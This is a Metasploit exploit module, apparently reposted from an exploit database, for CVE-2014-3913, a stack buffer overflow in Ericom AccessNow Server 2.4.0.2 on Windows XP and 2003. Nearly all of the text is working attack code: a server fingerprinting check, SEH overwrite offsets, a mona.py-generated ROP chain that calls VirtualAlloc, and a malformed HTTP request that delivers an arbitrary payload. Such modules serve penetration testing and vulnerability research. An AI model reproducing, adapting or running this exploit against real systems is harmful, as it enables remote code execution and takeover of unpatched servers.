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# Ericom AccessNow Server Buffer Overflow

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##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Ericom AccessNow Server Buffer Overflow',
'Description' => %q{
This module exploits a stack based buffer overflow in Ericom AccessNow Server. The
vulnerability is due to an insecure usage of vsprintf with user controlled data,
which can be triggered with a malformed HTTP request. This module has been tested
successfully with Ericom AccessNow Server 2.4.0.2 on Windows XP SP3 and Windows 2003
Server SP2.
},
'Author' =>
[
'Unknown', # Vulnerability Discovery
'juan vazquez', # Metasploit Module
],
'References' =>
[
['ZDI', '14-160'],
['CVE', '2014-3913'],
['BID', '67777'],
['URL','http://www.ericom.com/security-ERM-2014-610.asp']
],
'Privileged' => true,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Payload' =>
{
'Space' => 4096,
'BadChars' => "\x00\x0d\x0a",
'DisableNops' => true,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
},
'Targets' =>
[
[ 'Ericom AccessNow Server 2.4.0.2 / Windows [XP SP3 / 2003 SP2]',
{
'RopOffset' => 62,
'Offset' => 30668,
'Ret' => 0x104da1e5 # 0x104da1e5 {pivot 1200 / 0x4b0} # ADD ESP,4B0 # RETN # From
AccessNowAccelerator32.dll
}
]
],
'DisclosureDate' => 'Jun 2 2014',
'DefaultTarget' => 0))

register_options([Opt::RPORT(8080)], self.class)
end


def check
res = send_request_cgi({
'uri' => '/AccessNow/start.html'
})

unless res && res.code == 200 && res.headers['Server']
return Exploit::CheckCode::Safe
end

if res.headers['Server'] =~ /Ericom AccessNow Server/
return Exploit::CheckCode::Appears # Ericom AccessNow 2.4
elsif res && res.code == 200 && res.headers['Server'] && res.headers['Server'] =~ /Ericom
Access Server/
return Exploit::CheckCode::Detected # Ericom AccessNow 3
end

Exploit::CheckCode::Unknown
end

def exploit_uri
uri = "#{rand_text_alpha(1)} " # To ensure a "malformed request" error message
uri << rand_text(target['RopOffset'])
uri << create_rop_chain
uri << payload.encoded
uri << rand_text(target['Offset'] - uri.length)
uri << rand_text(4) # nseh
uri << [target.ret].pack("V") # seh

uri
end

def exploit
print_status("#{peer} - Sending malformed request...")
send_request_raw({
'method' => 'GET',
'uri' => exploit_uri,
'encode' => false
}, 1)
end

def create_rop_chain
# rop chain generated with mona.py - www.corelan.be
rop_gadgets =
[
0x10518867, # RETN # [AccessNowAccelerator32.dll] # Padding to ensure it works in both windows 2003 SP2 and XP
SP3
0x10518867, # RETN # [AccessNowAccelerator32.dll] # Padding to ensure it works in both windows 2003 SP2 and XP
SP3
0x10518866, # POP EAX # RETN [AccessNowAccelerator32.dll]
0x105c6294, # ptr to &VirtualAlloc() [IAT AccessNowAccelerator32.dll]
0x101f292b, # MOV EAX,DWORD PTR DS:[EAX] # RETN [AccessNowAccelerator32.dll]
0x101017e6, # XCHG EAX,ESI # RETN [AccessNowAccelerator32.dll]
0x103ba89c, # POP EBP # RETN [AccessNowAccelerator32.dll]
0x103eed74, # & jmp esp [AccessNowAccelerator32.dll]
0x1055dac2, # POP EAX # RETN [AccessNowAccelerator32.dll]
0xffffffff, # Value to negate, will become 0x00000001
0x1052f511, # NEG EAX # RETN [AccessNowAccelerator32.dll]
0x10065f69, # XCHG EAX,EBX # RETN [AccessNowAccelerator32.dll]
0x10074429, # POP EAX # RETN [AccessNowAccelerator32.dll]
0xfbdbcb75, # put delta into eax (-> put 0x00001000 into edx)
0x10541810, # ADD EAX,424448B # RETN [AccessNowAccelerator32.dll]
0x1038e58a, # XCHG EAX,EDX # RETN [AccessNowAccelerator32.dll]
0x1055d604, # POP EAX # RETN [AccessNowAccelerator32.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x10528db3, # NEG EAX # RETN [AccessNowAccelerator32.dll]
0x1057555d, # XCHG EAX,ECX # RETN [AccessNowAccelerator32.dll]
0x1045fd24, # POP EDI # RETN [AccessNowAccelerator32.dll]
0x10374022, # RETN (ROP NOP) [AccessNowAccelerator32.dll]
0x101f25d4, # POP EAX # RETN [AccessNowAccelerator32.dll]
0x90909090, # nop
0x1052cfce # PUSHAD # RETN [AccessNowAccelerator32.dll]
].pack("V*")

rop_gadgets
end

end


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# Iranian Exploit DataBase = http://IeDb.Ir [2014-06-30]

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